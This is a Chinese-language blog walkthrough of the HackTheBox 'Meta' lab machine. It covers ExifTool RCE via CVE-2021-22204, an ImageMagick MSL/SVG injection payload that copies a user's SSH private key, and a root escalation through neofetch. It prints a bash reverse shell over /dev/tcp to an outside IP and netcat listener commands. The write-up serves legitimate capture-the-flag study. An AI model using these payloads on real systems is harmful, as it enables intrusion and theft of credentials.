banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

hackthebox靶场 meta 过程记录

0x01 前言#

image

靶机 ip:10.10.11.140。
本机 ip:10.10.16.6,mac m1。

0x02 信息收集#

端口扫描只开放了 22、80 端口。

image

访问 10.10.11.140 的 80 端口,直接跳转到http://artcorp.htb/,但此时无法访问,设置 hosts 看看,设置完之后访问。

image

gobuster vhost -u artcorp.htb -w /Users/grayash/pentesting/web-basic/p12-字典收集/SecLists/Discovery/DNS/subdomains-top1million-110000.txt

image

image

访问 metaview,有一个文件上传点。

image

随意上传一张图片试试。

image

通过简单的信息搜集,发现上述图片是 exiftools 解析后的内容。

image

0x03 漏洞利用#

这个地方可以 rce,cve 编号是 CVE-2021-22204。

exp:

Python exploit for the CVE-2021-22204 vulnerability in Exiftool

由于 mac 上这个漏洞复现不好安装复现需要的 exiftool 工具,所以切换到 kali 上操作。

kali 的 ip 是:10.10.14.14。

exp 中的 ip 设置成 kali 的 ip。

image

运行 exp 文件,生成 image.jpg。

image

kali 上开启监听。

nc -nlvp 9090

访问http://dev01.artcorp.htb/metaview/,然后上传上面生成的 image.jpg,成功反弹会 shell。

image

交互式终端设置。

python3 -c "import pty;pty.spawn('/bin/bash')"
script /dev/null -c bash
ctrl+z
stty raw -echo; fg
reset
xterm

0x04 提权#

当前权限 www-data,无权限查看 user.txt 文件。

image

find / -perm -4000 -type f 2>/dev/null

image

pspy64 查看系统上运行的进程,发现一个 sh 脚本 convert_images.sh,看看这个脚本是什么内容。

image

内容如下:

image

mogrify 命令的功能是按规定尺寸制作一个图像,模糊,裁剪,抖动等。Mogrify 改写最初的图像文件然后写到一个不同的图像文件。

参考这篇文章:

https://insert-script.blogspot.com/2020/11/imagemagick-shell-injection-via-pdf.html

<image authenticate='ff" `echo $(cat /home/thomas/.ssh/id_rsa)> /dev/shm/key`;"'>
  <read filename="pdf:/etc/passwd"/>
  <get width="base-width" height="base-height" />
  <resize geometry="400x400" />
  <write filename="test.png" />
  <svg width="700" height="700" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="msl:poc.svg" height="100" width="100"/>
  </svg>
</image>

image

将这个 ssh 密钥放到 kali 家目录下的.ssh 目录下,文件名为 id_rsa,需要注意 id_rsa 的格式不能有空格且文件的权限为 400。

然后通过 id_rsa 证书 ssh 登录,获取 user.txt。

ssh -i id_rsa [email protected]

接下来,提权到 root 权限。

直接 sudo -l 走起,发现其有权限执行下面的命令。

image

(root) NOPASSWD: /usr/bin/neofetch \"\"

运行 neofetch 命令,效果如下:

image

通过https://gtfobins.github.io/#neo 这个网站知道,如果该文件运行以 sudo 权限运行,那么就可以利用 sudo 来进行提权。

image

再一次查看 sudo -l 的配置文件,有一个环境变量 XDG_CONFIG_HOME,我们可以利用当 neofetch 读取环境变量的配置文件的时候,在配置文件中写入反弹 shell 的代码,当 neofetch 程序执行时,反弹 shell。

image

具体操作如下:

1、先准备一个反弹 shell 的脚本。

bash -c 'exec bash -i &>/dev/tcp/10.10.14.14/1234 <&1'

2、写入 /home/thomas/.config/neofetch/config.conf 的头部。

image

3、导入环境变量

export XDG_CONFIG_HOME="$HOME/.config"

4、nc 监听

nc -nlvp 1234

5、执行 neofetch。

sudo -u root /usr/bin/neofetch \"\"

成功反弹回 shell,获取到 root.txt。

0x05 总结#

1、找了半天的 CVE-2021-22204 的靶机,都没能找到,有几个 docker 的还没搭建起来,刚好学习了如何利用 CVE-2021-22204 漏洞。
2、了解了通过 ImageMagick 进行权限提升。

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。